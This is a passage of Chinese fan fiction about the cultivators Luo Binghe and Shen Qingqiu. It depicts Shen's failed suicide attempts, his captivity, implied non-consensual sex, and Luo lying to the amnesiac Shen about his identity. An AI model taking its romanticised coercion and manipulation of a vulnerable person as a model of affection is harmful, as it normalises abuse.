“嘶——”沈清秋仿佛被这种诡异的场景吓到了一般,不由自主地倒抽一口凉气,并迅速用手用力擦拭嘴角,原本苍白如纸的手背瞬间被染得鲜红。此刻,他那原本殷红如血的双唇上,赫然出现了几道细小的裂痕,从中不断渗出丝丝缕缕的鲜血来。 那些猩红温热的血液缓缓流淌出来,仿佛一朵盛开的血花,散发着甜腻而诱人的气息。尚未凝结成珠,就被另一张冰冷的唇齿迫不及待地贴了上来,如同饥饿的野兽一般,贪婪地吮吸着。 “唔!”一声低沉的闷哼从喉咙深处溢出,带着一丝无法抑制的痛苦和愉悦。这声音犹如一阵轻风,拂过耳畔,却又在瞬间被硬生生地咬回了牙齿之间,吞咽压制。沈清秋的身体微微颤抖着,好不容易聚集的精神再次迷茫,精神失去了情绪支撑的力量,整个人不由自主地向后倒去。 就在他即将摔倒在地的时候,一双有力的手臂及时伸了过来,紧紧地扶住了他。洛冰河的眼神中闪烁着关切和y望的光芒,他稳稳地托住了沈清秋的身躯,让他不至于摔下床铺。洛冰河的神情贪婪而凶狠,原有的不解与愤恨都化为某种难以压制的情感,一时间,空气中弥漫着一种暧昧而紧张的氛围。 ‘就该这样’,一个声音对洛冰河说道。 对于一个折腾自己,自己也报复过,还窥探过另一种开展,并且自己也睡过(还很满意)的存在,冰哥早已将他当成了自己的所有物。 激起了冰哥的兴趣,现在这个属于自己的所有物没一点‘主人’的尊敬不说,还想私自结束自己的生命?这简直比噬主还让人愤怒!冰哥要用铁一样的事实来告诉沈清秋,谁是谁的主人! —— "唔-"刺痛,麻痒。脆弱的咽喉被对方轻而易举地掌控,薄弱的皮肉完全不能保护脆弱的骨头。只要对方轻微的一个举动,他的性命就将悬于一线。 ''扑通、扑通'',心跳急速跳动,恐怖所带来的警惕使沈清秋后背发冷,头脑前所未有的清晰。他试图控制住自己的身体不要颤抖,但每一个细胞都在叫嚣着危险。他悄咪咪的掀起一丝眼帘,但由于平躺的姿势,他只能看见压在自己脸上的头发。那黑色的发丝如瀑布般垂下,遮挡了他的视线,却也让他更清楚地感受到身体上方传来的压迫感。 或许是感受到身下之人的情形,洛冰河极其自然的将头从沈清秋脖颈上抬起,微笑着打了个招呼:“师尊,你醒了?” 冰哥或许自认为自己的微笑极其阳光和温暖,甚至带着一丝宠溺。但对于被压在身下的沈清秋来说,那是何等的恐怖与阴森!他的喉结不受控制地上下滚动着,心跳声如打雷般在耳边回响。 “你......”沈清秋的声音沙哑得几乎听不清,他努力吞咽着口水,试图让自己平静下来。然而,当他对上洛冰河那双深邃而冰冷的眼眸时,所有的努力都瞬间瓦解。那眼神中透露出的冷漠与残忍,仿佛要将他生吞活剥一般。 “危险!”身体本能的反应让沈清秋的大脑疯狂地发出警报,催促着他立刻逃离这个危险的境地。然而,现实却完全不受他的控制,他的身体僵硬的像是死了几百年的干木,仿佛被一股无形的力量所束缚,使得他无法动弹分毫。 此刻,他那脆弱的咽喉毫无保留地暴露在敌人的掌控之下,而对方的姿势更是让人感到异常别扭:洛冰河原本还算侧身躺着的身躯突然间猛地翻滚过来,双手用力撑起,恰好位于沈清秋的上方。他甚至能够清晰地感受到洛冰河那柔顺的发丝轻轻拂过自己的脸颊,带来一阵难以言喻的瘙痒感…… 这个姿势,实在是太过危险、太过s情、太过不安定了!每一个细节都充满了暧昧与威胁,让沈清秋的心跳不由自主地加速,呼吸也变得急促起来。他瞪大眼睛,试图从洛冰河的眼神中解读出一丝端倪,但对方那黝黑的眼眸却如同一片神秘的星幕,仿佛能吸收人的灵魂! 不仅如此,沈清秋还特意再仔细地感受了一番,结果让他非常肯定,自己此刻确实没有穿上哪怕是一丁点的衣物! 屮! 这是什么可怕的场景! 2.14没有办法死去的人,是没有退路的 “洛,洛冰河……”沈清秋艰难出声,有些气短。自清醒后,他就感觉整体氛围不对劲——明明他已经用修雅狠狠的割破了咽喉,缘何自己还活着? 脆弱的脖颈虽然没断,但是疼痛感十足,薄薄的皮肉虽然还能保护咽喉,但丝丝缕缕的血腥味时刻传入沈清秋的鼻翼。 一切都在表明:他自杀了,但是没成功。 不知道是下手不够狠所以没能割喉而死,还是洛冰河用了什么未知手段又将他救活。 为什么? 沈清秋心里充满了不理解:自己去死不应该对洛冰河来说,是非常期待的事情吗? 平心而论,洛冰河对自己的报复已经用尽手段,无论是身心都被摧残,而自己早点死去还能够减少折磨——所以沈清秋干脆自杀了。 可现在,无论之前发生的是什么,结果都是——洛冰河用了某种手段,又将自己救活了? 多可笑呀,一个心心念念想要自己命的人,居然在自己自杀后又将自己救活了?是因为觉得自己死的太轻巧,所以想要增加更多的刑罚吗? 这年头,连自杀都做不到,也太心累了吧。 而且,洛冰河好像还给他喂了什么腥甜的东西。排除能生死人肉白骨的天材地宝外,好像也只有——人血。 洛冰河是魔族的人,尤其是天魔族的人。这一点,沈清秋早就调查清楚了。 所以,自己喝的,极有可能是天魔之血。 天魔族,不死不灭。上一个被修真界打压封印的,还是纯种天魔族——天琅君。 关于天魔族,不死不灭、修炼奇快、爱好开疆辟壤、打碎肉身都死不掉的,这个简直bug的能力。 修真界一直没办法解决。 最后还是用人命去填,几个宗族门派的大能们为了封印天琅君几乎散尽修为,沦为废人。而沈清秋,也是那一战之后,被正式立为清静峰峰主,十二峰一起登台上任。 对于魔族的怨恨与警惕,是每个修真界人都刻在骨子里的东西。而魔族强大血脉之一的天魔族,光从名字上,就能知道他的可怕。 所以当沈清秋发现洛冰河的身份时,原该第一时间就将他捆绑,送给正好在仙盟大会的诸位门派,一起将其灭杀肉身,镇压灵魂。 可惜沈清秋当时,不知哪根脑子里的筋搭错了,居然想着放他一马,只将他踹下悬崖,任他自生自灭。 如果说他们两个关系尚可的情况下,沈清秋放洛冰河一条生路,或许还能得到感激。奈何两人关系势同水火,自己这一念之差(善念),却为自己埋下了杀身之祸。 只能说,因果循环,万事都有其前因后果。除非从不曾相见相识,否则细论起来,自己才是祸害自己的罪魁祸首。 —— 沈清秋狠狠的闭了闭眼睛,深吸一口气。快速将趴在上方的洛冰河推开,颤巍巍的用被子裹紧自己,死死的贴在墙边,警惕的看着对面,恶狠狠的试图用视线杀死对方。 对于沈清秋的翻滚逃离,洛冰河并不在意——或者说他有点刻意放纵,欲擒故纵、猫捉戏鼠,才有乐趣嘛。 洛冰河换了个姿势,主动拉开距离,端坐在床边:“原来师尊记得弟子的名字啊。” 洛冰河似是满怀憧憬的回忆:“弟子记得,弟子当年拜师的时候,师尊说什么来着?”他挑眉看向对面的某人,做怀念状: “师尊当年好像说什么,”洛冰河眼角勾了一下,故意顿了顿,将脸色做出个极其不耐烦和厌恶的表情,一字一句,清晰道: “我需要记得你的名字吗?” 其言语之冷漠,其神情之厌恶,其语气之冰冷无情,堪称唯妙惟俏,完美复刻。 听到洛冰河完美复述的语句,沈清秋眼神恍惚了一下,若不是场景不对劲,沈清秋险些以为真的回到了那段时光! 可,自己就是,是真的看不上他啊!这样一个几乎是自己翻版、却比自己幸运n倍的家伙,他就是看不顺眼怎么啦! 他就是恶劣,就是故意打压他!在明知道明帆悄咪咪欺负他的时候故作不知;在坏心思给了本随便从山脚下买的《清心咒》后想看他浪费天资;在他苦练却不出成效时暗自窃喜! 他就是这么坏,就是要让这个人尝一下自己经历的苦痛,就是要将他拉入自己曾陷入的泥潭,看他如曾经的自己一样艰难度日,才能满足他那颗恶劣扭曲的心! 凭什么这个人这么幸运!凭什么他是孤儿却有养母陪伴长大?凭什么在最佳年龄拜入名门正派,还被柳清歌那样的世家弟子提前看上,若无自己插手即将一飞冲天? 他就是坏,就是要破坏死对头柳清歌的爱才之心,就是要将天才打压至与自己一样,错过最佳修炼时机! 就像是灵犀洞遇见走火入魔的柳清歌,他第一想法是想给这个人来上两刀,送他去见阎王!当然事实也……柳清歌真的死了,死在了自己好心办坏事,插手不如不帮忙。 —— “现在看来虽然嘴上说不记得,但是还是记住的嘛。”洛冰河的声音将沈清秋思绪引回现实,也正好让他看见了堪称可怕的温柔笑容—— “嗯?”洛冰河歪头,微笑。(请参考江玉燕歪头微笑,著名的黑化只需要温柔眼神的《幸存者名单》) “……”可怕,没想到这畜牲笑起来竟如此令人后背发凉,心脏紧缩。许是刚才发散了一下思维,沈清秋忘记了嗓子受伤,脱口而出: “你这个杂种,畜牲不如的狗东西,劳资当年没一剑砍死你真是手软了!” 可惜,气势很强、音量很低、传播很近、声波很重。洛冰河有没有威胁到不知道,沈清秋反被声带的震动给刺的忍不住冷吸一口凉气:“嘶——” “师尊啊,你都落到这副场景了,就别装模作样、虚张声势了。” 对于沈清秋的死鸭子嘴硬,将他拷打过无数次,给予过多种刑罚的洛冰河,简直不能再了解。所以他很有闲心的忽视掉一切不利言论,自顾自开口: “弟子睡也睡了,吃也吃了,师尊这样如良家女子般的妄图用被子遮盖丑事,当真掩耳盗铃了。” “你!”沈清秋嗓音暗哑,被气得浑身发抖,不算粗糙的墙面带来冰凉的触感,单薄的被子并不能改变既定的事实,此情此景,当真像是良家妇女被采花贼欺辱了似的。 配上凌乱铺开的发丝和散落一地的衣物,以及床铺深处那人虚弱无力、柔弱可期的神情,当真像是一朵刚经历了狂风暴雨摧残的小白花,凄惨无比——格外容易引起人的凌虐恶劣心思。 “弟子也是第一次发现,师尊的躯体,比其他香软女人还要甜美诱人,不知师尊可愿随弟子离开?” 2.15伤口能被治愈,那,沉睡呢 “!!!”沈清秋的瞳孔猛地一缩,仿佛遭遇了八级地震一般,脸上露出一副紧张警惕又茫然失措的神情: “畜牲!” 然而……悲催的现实却无情地摆在眼前,让他不得不面对。这个人似乎确实有着足够的底气来提出这般荒诞不经的条件。而且,两人也确确实实发生了本不该有的身体接触。 甚至于,自己现在还全靠被子遮挡! 真是太可气了,难道仅仅因为修为高深就可以如此嚣张跋扈、仗势欺人吗?这种行为简直令人发指! “哦?”洛冰河嘴角微扬,似乎对沈清秋的拒绝毫不在意。他轻轻伸手,随意地捏住被角,眼神却如鹰隼般锐利,紧紧锁住眼前人。说话的语调依旧平缓,然而其中蕴含的威胁之意却让人不寒而栗: “那师尊是否真打算拒绝弟子呢?” 沈清秋张了张嘴,刚想说些什么,却被洛冰河抢白。只见洛冰河微微俯下身去,凑近沈清秋的耳畔,轻声说道: “弟子着实喜爱师尊如今这副宁死不屈、死不悔改的模样。若您如此轻易便应承下来,反倒无趣得紧。”言罢,他轻笑一声,可那笑容却并未抵达眼底深处。 沈清秋快速侧头,躲避某人可能带来的触碰……nnd,没有实力就没有话语权! "你,你给我滚开......" 沈清秋拼命地扯着被子,腿脚踢蹬,试图将自己包裹得更严实一些,同时身体也紧贴着墙壁,眼神充满了戒备和恐惧: "你到底想怎样? 我已经打算用性命来赔偿你了,为何还要救我回来? 你究竟有何企图?" "企图?" 洛冰河轻笑一声,伸手捏住沈清秋的一缕发丝,轻轻把玩着,似笑非笑地说道:"弟子所求不过一个你罢了~" 他的语调轻松愉悦,仿佛在说一件再平常不过的事情,但其中蕴含的深意却让人不寒而栗。若是换做不知内情的旁人在此,或许真会以为他们是一对恩爱有加、情深意重的情侣。 然而,只有沈清秋清楚,他们之间的过往充满了恩怨情仇,绝非表面这般和谐美好。此刻,面对洛冰河如此诡异的言行举止,沈清秋心中愈发惶恐不安起来——tm他都自杀还被救回来,他能怎么办!躺平任嘲吗! 此时此刻的场景实在是太过于怪异和离奇,沈清秋心中暗自思忖着,他绝对不可能简单地相信洛冰河仅仅是为了所谓的"贪图自己"才做出这一切举动。背后必定隐藏着更为巨大且恐怖的阴谋诡计! 毕竟在这个充满刀光剑影与爱恨情仇的江湖之中,又怎会有人单纯因为"爱慕之情"而行事呢?即使洛冰河真的发疯失常,变得失去理智,也绝对不可能变成那种沉溺于爱情无法自拔的傻瓜。 这里面必定隐藏着某些深不可测、鲜为人知的秘密—— 例如说,洛冰河妄图凭借沈清秋的清静峰峰主身份潜入苍穹山派充当内应,继而给整个修真界带来灭顶之灾!要知道,他俩皆为身怀绝技且带有主角光环的龙傲天般存在,又有谁会轻信他口中那番荒诞不经的“情意”呢? 思及至此,沈清秋不由自主地打了个寒颤,一股凉意顺着脊梁骨往上窜,与此同时,他亦愈发笃定自己务必要提高警觉,跟这个丧心病狂之人保持距离的行动纲领。 冰河看着沈清秋那复杂无比的眼神,心中不禁长叹一口气。他当然明白为何沈清秋会有这样的想法,毕竟事已至此,他们俩的身份和立场都已经截然相反,对方对于自己突如其来的"求爱"感到困惑不解,这也是再自然不过的事情了—— 又有谁能够轻易相信,曾经生死相搏、不共戴天的敌人,此刻竟然会产生出爱意,而非包藏祸心呢? 然而,眼下的局势显然对自己颇为不利。沈清秋定然误以为自己正在策划一场阴险狡诈的阴谋,可究竟该如何才能让他洞悉自己的真心实意,明白洛冰河对他的感情是真挚无比的呢? 这个问题犹如一块沉重的石头压在心头,令冰河倍感棘手。洛冰河眼神直勾勾地看着沈清秋:“我知道我们之间有很多误会,也知道你现在可能无法接受我。但我对你的感情是真的,我会用行动证明给你看。” “呵,谁需要畜牲的示好”沈清秋完全不理会洛冰河的苦口婆心,也压根不信他那套“爱你”的戏码,坚定的认为这玩意绝对心有计较,随时准备对他不利。 “师尊,”洛冰河排练了许久的求爱被轻飘飘的扑灭,他眼神暗沉,发出危险的信号:“师尊不信弟子,是想要弟子用别的方式表示一下吗?” —— 又是一场激烈的对斗,沈清秋终于寻到一个机会拿到心魔剑,打算这次换成刺心口。 —— 冷酷无情声音在耳边响起:“天魔之血,不死不灭。” 听闻此言,沈清秋如遭雷击般僵立当场,眼神空洞,面若死灰,仿佛全身力气都被抽干一般。他心中最后一丝希望破灭,万念俱灰之下,竟然萌生出再次寻求死亡以求解脱之意。 然而,无论他如何机关算尽,尝试各种办法,“不死不灭”的特性就如同机械降神般bug,他始终未能如愿。最终,气急败坏的沈清秋只觉得眼前一黑,便昏厥倒地,不省人事。 洛冰河原本见此情形,还以为沈清秋又在故弄玄虚,想耍什么花招。但眼见着沈清秋许久都一动不动地躺在地上,丝毫没有要醒来的迹象,他不禁心生疑虑,感到十分诧异。 难道……他真的出事了?想到这里,洛冰河心头一紧,一种莫名的恐慌涌上心头。他再也顾不得其他,急忙迈步向前,俯身仔细查看起沈清秋的状况来。 待确定沈清秋仅仅只是昏迷过去,并无性命之忧后,洛冰河这才稍稍松了口气。可紧接着,一股深深的忧虑又盘踞在他心间—— 虽然沈清秋体内已融入了天魔血脉,想死没那么容易,但此时此刻的他却是一副半死不活的模样,双眼紧闭,气息微弱得几乎察觉不到,整个人看上去毫无生机可言。 俗话说:心病还须心药医。一个人倘若铁了心想寻死,那么即便有再多珍贵稀有的灵药妙药摆在面前,恐怕也是徒劳无功,难以抚平其内心深处的创伤啊 9. 不喜欢,就是不可能喜欢 第二部分清醒之后的人啊,依旧不喜欢他 1.终于醒了,太不易了 察觉到床上之人气息波动,冰哥快速倒了杯茶水:“你醒了?” 眼皮有些沉重,仿佛重病般的虚弱,沈清秋努力睁开还有些迷糊的眼睛,回想起刚才的声音:“...醒了..”眼前的黑衣俊秀男子手捧一杯热茶,显得有些喜出望外,不知是不是被人救了,沈清秋对这个人的印象不深。 “嗯……?”沈清秋缓缓睁开双眼,眼神空洞无物,仿佛失去了焦距一般。他的眼睛不受控制地眨了眨,茫然地看着面前的人,心中充满了疑惑。他迟疑了一下,才小心翼翼地开口问道:“你……你是?” 眼前这个陌生人究竟是谁?他怎么会出现在这里? 不对,更重要的是,我为什么会在这里?我……又是谁? 沈清秋下意识地将手抽出来,低头看着自己的手掌。这是一只中年人的手,看起来年纪大约在三十岁左右。手掌干瘦无肉,呈现出一种久病不愈或者刚刚康复的状态。 他的脑袋感到一阵昏沉,努力搜索着记忆,却发现脑海中一片空白,没有任何记忆的片段能够被拾起。这种感觉让他十分不安,仿佛自己突然间变成了一个没有任何根基、没有回忆过往的无根之人。这和找不到家、没人祭拜的孤魂野鬼有什么区别? 不过,虽然失去了记忆,但一些基本的常识似乎还深深地烙印在他的脑海之中。他能够自然而然地分析当前的状况,这或许意味着“他”以前是一个心思缜密、谨小慎微的人。 那么,这样一个谨慎的人,又怎么会失忆呢?而且,还像是刚刚经历过一场重病般虚弱不堪?这些疑问犹如潮水一般不断涌上心头,让沈清秋的神经越发紧绷起来。 沈清秋抬头迅速扫视了一眼周遭环境:这间干干净净的屋子里,除了几件木质桌椅和一面屏风外,唯有一个可供人临时歇息的小塌。 从那整齐叠放的被子来看,它的使用频率并不高,或者有人专门负责更换清洗。屋内别说什么玉器珍宝,就连一丝多余的装饰都没有。要么是屋主家境贫寒,要么是这屋子主人不常住在这里,又或者屋主是个雷厉风行、干练利落至极之人,不喜欢那些花里胡哨的装饰品。 冰哥看着沈清秋迷茫、警惕的眼神,又看着他将手伸出来仔细打量、不着痕迹的扫视屋子和自己,当即忍不住露出一丝微笑——这个谨慎的性子,还真是刻在骨子里了。 “嗯?你竟然不记得我是谁了?”冰哥脸上浮现出难以置信的神情,瞪大了眼睛凑近沈清秋,仔细看着他的神色,想要看清他是真的不认识自己还是伪装。他快速的回忆起神医曾说过‘病人昏迷太久,出现失智甚至失忆的症状也是在所难免的’,那么,是失忆,还是失智呢?亦或是,沈清秋伪装的小技法? 其实都无所谓,反正都逃不出他的手掌心。当然失忆更好,随意捏造几个事实,说不定还能得到跟冰妹一样的‘温柔体贴沈清秋’。 面对冰哥的质问,沈清秋皱起眉头,露出痛苦的表情,一只手揉着太阳穴说:“抱歉,我的头此刻疼痛欲裂,实在记不起你究竟是谁,也完全想不起来自己为何会来到此地,可否请阁下为我解惑一二呢?” 冰哥一手将沈清秋扶起,将手中的茶水送至他嘴边:“那么,你可还记得自己姓甚名谁么?” 挺好的,不反抗,没直接把自己打走。冰哥有些心猿意马的摩擦了一下沈清秋的衣物,感受着终于重新鲜活起来的脊背。这腰,比之前更细了呢... 沈清秋轻抿茶水,闭上双眼,努力思索着,然而脑海中却是一片空白,什么都想不起来,他无奈地摇了摇头,苦笑着回答:“真是惭愧,我此刻脑子里好似一团浆糊,实在想不起关于自身的任何事情,难道是阁下救了我性命吗?若是如此,日后我定当设法报答此恩。” “这样啊...”冰哥看着‘痴傻’的某人,感受到对方突然紧绷的皮肤,顺手在沈清秋后背垫了几个枕头,让他靠得更舒服些,抽开手,轻声安慰道:“想不起来就别想了,当心脑子疼。” 沈清秋看着‘礼貌规矩、有分寸’的冰哥,安慰自己可能是到陌生的地方有些过于紧张。听到这里礼貌的笑了一下,将茶水送还给冰哥,脸上挂上一副温和、客套的面容,相当礼貌的道谢:“感谢阁下救命之恩。只是不知阁下可否给我解惑一二?” 冰哥一边展示自己的‘温柔如水’,一边疯狂与梦魇确认:“失忆?” 梦魇:“对,他的记忆仿佛被层层捆锁,我读取不到,只能看到一片空白。” “全部?” “不是,还有一些...乞丐?你等一下我看看。” “嘶——”沈清秋突然垂下眼,不知道在思考着什么。右手捂着太阳穴,眉头皱的很紧,脸上浮现出汗珠。 “怎么了?”洛冰河极力克制住想要把眼前之人拥进怀里的冲动,从储物袋中翻找出一块干净的布料递给对方,并温柔地轻声安抚道:“如果实在想不起来,那就别再勉强自己去想了,说不定好好睡上一觉之后便会恢复正常了。” “没……事……”沈清秋用虚弱得仿佛随时都会飘散的声音回应着。 与此同时,梦魇的回复也清晰无比地在洛冰河的脑海中响起:“我已经检查过了,触发的是一段有关乞讨生活的日常记忆。主角是一个年幼的孩子,看上去只有十几岁的模样,并且这些记忆都是零碎的片段,无法拼凑成一个完整的故事。” “你干的?”洛冰河没头没脑地突然抛出这样一句疑问。 “什么?”梦魇对这没来由的质问感到十分不解。 “沈清秋为何会突然头痛难忍且冷汗直流。”洛冰河继续追问。 “呃……这个,应该不是因为我吧……虽说我的确查看了一下他的记忆……”梦魇露出一副很是无辜的神情解释道:“可那也是你要求的啊,我才会那么做的呀……” “从今往后,绝对不允许再发生类似的事情!”洛冰河态度强硬地下达命令。 “???”梦魇脸上写满了茫然和疑惑,心中暗自叫苦不迭:这年头,打工人不仅要努力工作,还得无缘无故挨老板的骂,真是太悲催了! ———————————————————————————— 2.我是你师尊 好一会儿过去了,沈清秋的状态才逐渐恢复过来。他接过冰哥递来的手帕,擦了擦额头,略带歉意地道:“抱歉,刚刚头痛得厉害,失态了。” 冰哥微微点头,表示理解,然后随手施展了一个清洁术,将那块用过的手帕净化干净,接着便扔进了自己的储物袋里。 沈清秋默默注视着冰哥这一连串动作,心中不禁暗暗思忖起来:从这些细节可以看出,这位屋子的主人应该是个做事果敢利落、雷厉风行的人,而且相当干练。看他对物品的处理方式,似乎对那些华而不实、没有实际用途的装饰品或杂物毫无兴致。 否则,这间屋子怎么会如此空旷整洁,仿佛任何多余的东西都会被毫不留恋地收进储物袋呢?嗯……这么说来,这个人倒是个性情爽快、率真直接的人呢。 想到此处,沈清秋脸上随即浮现出一抹礼貌的微笑,语气颇为客套地开口询问道:“敢问阁下该如何称呼?” 冰哥饶有兴致地紧盯着眼前这个看似谨慎小心、实则满腹狐疑的沈清秋。心中忽地涌起一股难以言喻的恶趣味:倘若他直接告诉这家伙说,他便是自己的师尊,而自己则是那个深受他宠溺偏爱的得意门徒,不知道沈清秋会作何反应呢? 紧接着,一个更为大胆且有趣的念头在冰哥脑海中闪现而过——如果在此基础上再编造一些诸如“沈清秋为了拯救自己而身负重伤,如今方才苏醒过来”之类的情节设定,是否会让这场戏变得更加精彩纷呈呢? 不仅如此,冰哥越想越是兴奋激动,甚至开始考虑要不要把故事编得更加离谱一些。 比如告诉沈清秋,说他其实只是个无门无派的闲散修士,平日里只能依靠坑蒙拐骗等手段来维持生计以及修炼资源……天晓得这样做能否激发出沈清秋更多的情感波动与神色变化呢? 一想到这些可能出现的戏剧性场面,冰哥就忍不住想要立刻付诸实践。 “你是我...”冰哥突然收住了话头。他有了个更好的主意!他要做沈清秋的师尊!让高高在上的清静峰峰主拱手给自己行礼,听从他的吩咐,为自己打扫奉茶! 最好再让他补个‘拜师礼’,然后将一杯热茶还回去! “嗯?”沈清秋看着突然不说话的冰哥,眼神带着疑惑。 “你是我的弟子,我是你师尊。”冰哥淡淡地回答道。嗯,他就大发慈悲受点累,当他的师傅了~嗯,突然感觉地位转换,养个徒弟什么的,好像也蛮不错的? “什么?你?我……那我是谁?”沈清秋感觉自己的脑子一片混乱,本就一团空白的记忆更是稀碎的可怜,完全想不起来昏迷之前发生了什么事情。 “那个,师尊?”沈清秋小心翼翼的吐出这个词,接着警惕的打量着冰哥的脸色:“可是我脑海中并没有你的印象,可能是不小心把你也遗忘了。请问我们之前是如何相识的?” “我在凡尘历练时遇见了混在乞丐堆里的你,稍微算了一下,你与我有缘。” “嗯……”沈清秋揉了揉因为‘师尊’‘乞丐’而有些发昏的头,打算暂时放过这个问题:“那请问……为什么我会躺在床上,伤势严重的样子?” “你与我一同探险,进入某个秘境夺宝时被人偷袭、身受重伤,如今才刚刚苏醒。”冰哥的语气依旧平静,其中的关切之意毫不掩饰。 这其中,两人一起是真,被人偷袭是真,身受重伤是真,刚刚苏醒也是真;唯有‘偷袭之人是自称为师尊的冰哥’,被隐藏了。九真一假、甚至那一假严格意义上也只是‘隐瞒’而非假。如此,谎言便坚不可摧。 “你说,你与我一同夺宝……”沈清秋看着自己纤细的、近乎透明的手腕,仔细的感受一番,却什么也没查到。 “可是……我为什么感受不到灵力?”沈清秋试着运功,却发现自己的身体里空空如也,仿佛所有的力量都被抽走了一般。而记忆中的功法却残缺不全,连引气入体都做不到——不对,是进入身体就会逸散,无法被使用。 “不必担心,你只是修为尽失罢了。等你日后重新修炼,自然能够恢复如初。”冰哥安慰道。 当然,这句话只是安慰。沈清秋的身体血液被几乎纯天魔之血的本冰和人魔混血的冰哥重新换血,在拥有不老不死、长久寿命的同时,也失去了正统修真界修炼的资格。 “但我的身体似乎无法接收和运用灵气……”沈清秋皱起眉头,努力想要凝聚灵气,却始终无果。 “嗯,这确实有些麻烦。不过没关系,我们可以另辟蹊径。”冰哥沉思片刻,眼中闪过一抹决然,“我们去魔界吧。” “魔界?”沈清秋震惊的看着冰哥:“仙魔不两立,为何你会想到去那里?” 啊。冰哥没想到失去记忆的沈清秋对魔界的排斥这么狠。这是不是意味着,他本身就是个很厌恶魔族的人?若是这般推测,他当初在无尽深渊发现自己收了个带有魔族血统的弟子,气的要砍死他,也是能理解了。 不过。冰哥眼皮垂了一下,沈清秋始终喊的是‘你’,而非‘师尊’或‘您’,难道是对记忆、身份还有疑问? 他决定试探一下。 只见冰哥一脸淡然地说道:“乖徒儿,你睡得太久了。”冰哥看着沈清秋有些难以置信的样子,决定先声夺人: “现如今已不再是那个所谓‘仙魔不两立’的时代了,自从魔尊一统三界之后,魔界与修真界以及凡尘之间已经和平共处多年,魔族也不再是曾经被众人唾弃的‘魔物’了。” “嗯?”沈清秋脸上的震惊之色溢于言表,那张原本总是冷漠且毫无表情的面庞,此刻看起来变得生动而丰富:“魔尊,统一三界?” 沈清秋的瞳孔瞪大,震惊之色溢于言表;也许是魔尊的消息太过震撼,以至于他完全忘记了去反驳“徒弟”这个称呼。 “没错,早在三十多年前,仙魔大战就已经落下帷幕。”冰哥目不转睛地盯着沈清秋的表情,想要从他的神色中捕捉到一丝一毫的变化——若是仙魔一家亲,你是否会对魔族心生厌恶? “这……这怎么可能?!”沈清秋的震惊几乎要化为实质,他难以置信地喃喃自语道:“你的意思是说,魔族胜?!” 他的声音因为激动而略微颤抖着,仿佛这个事实彻底颠覆了他心中原有的认知。 —————————————————————————————— 3.事情的开展,怎么就莫名其妙的到这里了? “...”怎么说呢,虽然冰哥是想试探一下,但是对于沈清秋如此的‘不敢置信’,他还是有些不爽的。所以,为了‘惩罚’他所造成的不开心,冰哥决定给沈清秋下点重药: “你对此好像并不满意?可是你忘了,我们都是两界边缘的混血。这对我们来说不是好事吗?” 是的,一个一贯厌恶魔族的、高高在上的仙尊。现在失去了记忆和修为不说,还成了混血,不知道得多有趣。尤其是现在的世界‘三界统一’,甚至可以说是魔族为尊,在这样的世界里,如果他后来还知道了真相,那...应该会更有意思。 “哈?”沈清秋的表情有些崩溃。他脑海里仅存的常识告诉他仙魔不两立,身为修真界的人,一定要对魔族和魔物打压到底,灭杀所有。 可,若他就是魔物呢?若他也存在魔族血统呢?尤其是,若当今世界,魔族为尊呢? 这可真是个有违常识的认知。 等等,沈清秋终于想到了‘都是’一词,他用怀疑加震惊的眼神看着冰哥:“你刚才说”,沈清秋下巴微抬,脸略斜,平白添了一丝‘可爱?’:“我们?” “是的,我们。”冰哥很喜欢这个词,这让他有种他和沈清秋是一起的感觉。 “...”沈清秋不说话了。眼前之人告诉他的世界和他脑海中的常识存在极大的冲突,这令他存在一种虚幻、梦境般的错觉。他真的在现实中吗?他没有陷入离奇的梦境迷阵中吗?他是这个世界的人吗? 这些问题萦绕在他的脑海,他开始怀疑这个世界。 若是他来到了另一个世界,天下格局大改,甚至他用的也不是自己的身体,之前的那些离奇之处,或许就有了解答。 “嘶——”沈清秋的脑袋突然有如重锤,他忍不住用胳膊将头包起来。 冰哥看着突然头疼的沈清秋,又看着他浑身发抖,缩成一团的样子,想了想,干脆将人抱在怀里,缓慢的给他拍背。 或许是沈清秋没有记忆后不再排斥同性,也可能是太过疼痛所以忽略了外界,更有可能是难得的脆弱确实需要一个温暖拥抱。 反正结果是,沈清秋这次没有拒绝冰哥的怀抱和示好,安安稳稳的躺在怀里,如受了刺激的小动物一般,被母亲搂在怀里安慰。 冰哥对此,很满意。 当然,若是沈清秋疼痛多持久一些就更好了。还没抱够,这人就已经缓好、并且将冰哥推开,礼貌道谢。 冰哥看着恢复风度的沈清秋,有些遗憾的叹口气,手指忍不住摩擦了两下,有些怀念。毕竟自从来到这个世界后,他几乎全部围绕在沈清秋身边,妹子也不曾寻找,有点想睡。 沈清秋端正了一下自己的坐姿,收拢了衣袖,抬头看向冰哥。“你是我师尊?” 冰哥大言不惭:“是的。”说完,他有些俏皮的眨了下眼:“自从你醒了一直都是‘阁下’,快叫声‘师尊’来听听。” 嗯。跟冰妹学的,毕竟冰妹的装傻卖萌扮可怜,那边的‘沈清秋’很吃这一套。 “...”可惜,沈清秋并不觉得他可爱,甚至还忍不住打了个寒颤,默默的将背与墙面的距离缩短了。 “!”冰哥见此,只想划开空间,跟那边的冰妹好好打一架,发泄一下自己‘邯郸学步、未见成效’的苦闷。 “师尊。”沈清秋脸色平静,语气淡漠。看得出来,他只是喊了一个称呼,其间没有一丝感情。 “嗯。”不过冰哥从来不要求太多,沈清秋肯叫他,并且他们能心平气和的谈这么久的话,已经很不容易了。 “师尊。我不能修炼了。”沈清秋的表情非常平淡。一旦他接受了自己可能来自不同的地方、目前是人魔混血,脑海里修真界的功法不能使用,貌似也是理所应当。 “无妨,我们去魔界修炼魔气。”冰哥对于沈清秋喊自己‘师尊’的事情非常满意,话也很好说,这时候哪怕沈清秋要天上的星星,他都会为他想办法摘下来。 沈清秋敏瑞的发现只要自己喊‘师尊’两字,对面的人就会肉眼可见的高兴起来,并且也很好说话。 难道,这具身体的主人,本是一个性情冷淡,很少与对方回话,甚至不怎么叫人的弟子吗?怪不得自己之前与他的相处,对方看起来完全不介意的样子,原是习惯了。 既如此,不利用此为自己谋点福利,简直太亏了些:“师尊再传我一套修炼的法门,我忘记怎么引气入体了。” 。冰哥看着过于自来熟到有些无赖沈清秋,心里微微的勾起一丝波澜。他让沈清秋喊自己‘师尊’完全是出于报复,可看到他这么快进入角色并如此熟练的讨要好处,难免感到一丝的,复杂? 而且最重要的是,冰哥关于修真界的修炼法门,正是苍穹山派的那一套,甚至还有些源自于沈清秋改编过的心法和技巧。他可不会认为这些东西沈清秋真能毫无芥蒂的接收、对此一点印象也没有。 若是在此处露了破绽,引起沈清秋的怀疑,也太亏了些。 